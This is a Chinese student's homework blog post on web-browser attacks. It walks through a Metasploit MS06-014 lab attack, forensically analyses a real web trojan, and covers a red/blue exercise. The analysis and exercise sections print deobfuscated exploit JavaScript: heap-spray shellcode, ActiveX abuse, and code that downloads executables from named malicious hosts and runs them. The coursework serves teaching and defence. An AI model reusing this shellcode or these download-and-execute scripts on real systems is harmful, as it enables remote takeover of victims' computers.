zty1234

导航

20241903 2024-2025-2 《网络攻防实践》第11次作业

1. 实践内容

本次实验涵盖三个方面:一是使用 Metasploit 的 MS06-014 模块对 Windows 靶机进行浏览器渗透攻击,构造恶意网页木马并远程控制;二是分析网页木马攻击场景,通过解密文件地址、计算 MD5 散列下载文件并进行反汇编或调试,直至完成所有文件分析;三是开展攻防对抗,攻击方构造混淆的渗透攻击 URL 发送邮件,防守方提取链接、解混淆并分析渗透代码及对应漏洞。


2. 前置知识

MS06-014:
MS06-014 是一个与 Microsoft 数据访问组件(MDAC)相关的远程代码执行漏洞,编号为 CVE-2006-0003。该漏洞允许攻击者通过恶意网页代码利用 RDS.DataSpace ActiveX控件的不安全交互 ,从而在受影响的系统上执行任意代码。攻击者可以通过 构造恶意网页,诱导用户访问这些页面,进而下载并执行恶意软件,甚至完全控制目标系统。

在 Metasploit 中,MS06-014 漏洞对应的模块通常用于构造恶意网页木马脚本。攻击者可以通过设置服务器地址、URL 参数以及选择合适的载荷(如 generic/shell_reverse_tcpwindows/shell/bind_tcp),生成恶意链接。当目标系统访问该链接时,攻击者可以在 Metasploit 中查看渗透攻击状态,并通过建立的远程控制会话(SESSION)在目标系统上执行命令。


3. 实践过程

本次实践分为三个实验。先将主机名字改成zty。

实验一:web浏览器渗透攻击实验
目标:使用攻击机kali和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
键入ifconfig查看kali的ip为192.168.200.6。

在靶机上打开cmd,键入ipconfig查看靶机winxp的ip为192.168.200.124。

在攻击机kali上键入msfconsole来启动msfconsole。

我们要选择使用Metasploit中的MS06-014渗透攻击模块。键入search MS06-014。我们选择exploit/windows/browser/ie_createobject渗透模块。

键入use exploit/windows/browser/ie_createobject。我们键入set payload generic/shell_reverse_tcp使用该payload 。键入set LHOST 192.168.200.6。然后键入exploit执行。我们将得到一个含有攻击机木马的网址即http://192.168.200.6:8080/WFGnw2skAKO 。

我们在靶机的浏览器上访问这个网址,得到一个字符串。

我们回到kali,可以看到会话已经建立,我们键入sessions查看会话列表。

键入sessions -i 1便可以成功获取靶机控制权,我们键入ipconfig可以查看靶机的ip。

实验一成功!

实验二:取证分析实践
目标:对网页木马攻击场景进行分析。环境:winxpattacker。
先将start.html以及要用到的两个文件夹放到winxpattacker上。

首先打开start.html,找到new09的位置。


根据以上找到并打开new09文件,里面记录了两个网址http://aa.18dd.net/aa/kl.htm 和 http://js.users.51.la/1299644.js
我们对这两个网址进行MD5的计算如下。
http://aa.18dd.net/aa/kl.htm :7F60672DCD6B5E90B6772545EE219BD3

http://js.users.51.la/1299644.js :23180A42A2FF1192150231B44FFDF3D3

因此我们在hash文件夹中找到该哈希值对应的文件。

将其分别改为其对应的名字之后打开,分别如下。


我们关注框框中的内容,可以看到这是一个XXTEA的加密。密钥是\x73\x63\x72\x69\x70\x74转换为字符,即script

我们复制全文进行解密得到如下一堆十六进制的串。

我们将其转换为字符串。可以得到如下代码块:
function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}

在这串代码中我们可以找到四个网址,分别是:
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
同样的我们计算他们的MD5值,依次分别是:
5D7E9058A857AA2ABEE820D5473C5FA4
3870C28CC279D457746B3796A262F166
5F0B8BF0385314DBE0E5EC95E6ABEDC2
1C1D7B3539A617517C49EEE4120783B2
在hash文件夹中找到他们并改名打开。

  1. js:

    转换后:
    var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

    我们找到一个exe程序http://down.18dd.net/bb/014.exe ,再对它做哈希得到:CA4E4A1730B0F69A9B94393D9443B979,根据该哈希值对hashed中的文件进行改名,下同。

  2. b.js:

    我们将代码复制在浏览器的控制台上进行输出。

    得到代码如下:
    "var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)"
    我们主要关注含有url的地方,因此我们主要看 2f集中的区域。我们应该将 一个%uxxxx视为两个倒序的十六进制数 ,转换为字符之后不难发现,%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578按上述处理之后即为url:http://down.18dd.net/bb/bf.exe

    因此我们又找到一个exe程序,他的哈希为268CBD59FBED235F6CF6B41B92B03F8E

  3. pps.js
    找到pps.js对应的哈希文件,我们得到一堆八进制代码:eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")

    将其转换后如下:
    /*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a"; pps.Logo = buffer
    同样的,我们还是关注网址的部分,找到%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065,与上述经过相同处理之后可以得到网址http://down.18dd.net/bb/pps.exe 。我们得到第三个exe文件,它的哈希是FF59B3B8961F502289C1B4DF8C37E2A4。

  4. bd.cab
    找到bd.cab对应的哈希文件,改名后直接双击得到最后一个exe程序。

接下来我们进入cmd,依次键入md5sum xx.exe查看他们的MD5和。

可以发现他们的md5和都是一样的,说明他们其实是同一个文件,因此我们只分析其中任意一个即可。
打开IDA选择bf.exe,查看字符串。可以看到下载了很多的exe程序。

实验二完成!

实验三:web浏览器渗透攻击攻防
参与本次实验的为20241903朱天宇和20241917李柏衡。

攻击实验:
进攻方朱天宇20241903,ip为:192.168.3.66。

防守方李柏衡20241917,ip为:192.168.3.65。

实验开始。
键入ping 192.168.3.65,成功ping通。说明处于同一网段下。

实验步骤与实验一一致,键入msfconsole来启动msfconsole,然后构造Metasploit中的MS06-014渗透攻击模块——exploit/windows/browser/ie_createobject渗透模块。键入use exploit/windows/browser/ie_createobject。键入set payload generic/shell_reverse_tcp使用该payload 。键入set LHOST 192.168.3.66。然后键入exploit执行。得到一个url:http://192.168.3.66:8080/9dWOUyU46n81yn
我们在靶机上访问这个网址。

回到攻击机,键入sessions查看会话列表。键入sessions -i 1便可以成功获取靶机控制权,我们键入ipconfig可以查看靶机的ip。

攻击实验成功!

防守分析实验:
进攻方李柏衡20241917,ip为:192.168.3.62。

防守方朱天宇20241903,ip为:192.168.3.67。

实验开始。
攻击方攻击后,我们访问攻击机生成的木马url:http://192.168.3.62:8080/0TwQAyAuL4Njzz

我们右键网页查看源文件代码。我们看到有很多空格符,这是为了躲过杀毒软件的检查进行的空白填充。

我们需要将其删去。用压缩格式化工具 http://www.esjson.com/htmlformat.html 去进行压缩格式化。得到代码如下:

<html><head><title></title><script language="javascript">function OUDAN(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function FmdGsHKylsQOkCi(a){var s=OUDAN(a,"WScript.Shell");var o=OUDAN(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\lLYFmiyfsZActAVEoPdauZRhTSKpg.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function UmOfTJFuPeSReUuWlMzSMTM(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=OUDAN(a,"WScript.Shell");if(b){FmdGsHKylsQOkCi(a);return(0)}}catch(e){}}i++}}</script></head><body onload='UmOfTJFuPeSReUuWlMzSMTM()'>AWWNccTjVRBiwySPqJJ</body></html>
它的核心功能是利用ActiveX组件的漏洞,悄悄下载并执行病毒文件。具体分以下几步:

  1. 使用OUDAN尝试多种方法创建或获取指定名称的ActiveX对象,再利用UmOfTJFuPeSReUuWlMzSMTM() 函数遍历预设的多个高风险CLSID(如微软XML组件、系统更新服务等,即如
    BD96C556-65A3-11D0-983A-00C04FC29E36 等),尝试创建可执行命令的ActiveX对象;
  2. 获取WScript.Shell(用于执行命令)和ADODB.Stream(用于文件操作)对象。
  3. 构造恶意EXE的保存路径(%TEMP%\随机名称.exe)。
  4. 通过XMLHTTP请求下载当前页面所在URL的/payload文件(恶意负载)。
  5. 使用ADODB.Stream将二进制数据保存为EXE文件。
  6. 调用WScript.Shell.Run执行该EXE。
    这样,当用户访问恶意页面时就会触发body.onload执行UmOfTJFuPeSReUuWlMzSMTM()。恶意程序会尝试每个CLSID,直到找到可用的漏洞组件,并从当前URL/payload下载恶意EXE到临时目录。最后静默运行下载的EXE,完成攻击。

我们在任务管理器中,可以找到名字lLYFmiyfsZActAVEoPdauZRhTSKpg.exe的可执行文件。

我们在预设的高风险CLSID中找到了 BD96C556-65A3-11D0-983A-00C04FC29E36 ,这个就是MS06-014的漏洞的CLSID。

实验三完成!


4.学习中遇到的问题及解决

  • 问题1:实验一使用的默认payload:windows/meterpreter/reverse_tcp出现无会话情况。
  • 问题1解决方案:使用另一个payload:generic/shell_reverse_tcp
  • 问题2:在把original文件夹复制到winxpattacker上的时候所有的exe程序全部消失。

  • 问题2解决方案:将防火墙,杀毒软件等关闭即可。

5. 实践总结

通过本次网络攻防实践,我深刻体会到了网络安全的复杂性和重要性。在攻击实验中,我学习到了如何利用漏洞进行渗透攻击,成功获取靶机控制权,感受到了攻击的隐蔽性和高效性;而在防守分析中,我则尝试从防御角度出发,分析攻击代码的原理和漏洞利用方式,了解了如何通过查看源代码、识别恶意行为等方式来防范攻击。这个过程不仅提升了我的技术能力,也让我认识到网络安全防护的必要性,以及在实际应用中需要时刻保持警惕,及时发现并修补漏洞,以保障系统的安全稳定运行。


参考资料

Microsoft 安全公告 MS06-014 - 严重

posted on 2025-05-18 11:16  zty1423  阅读(41)  评论(0)    收藏  举报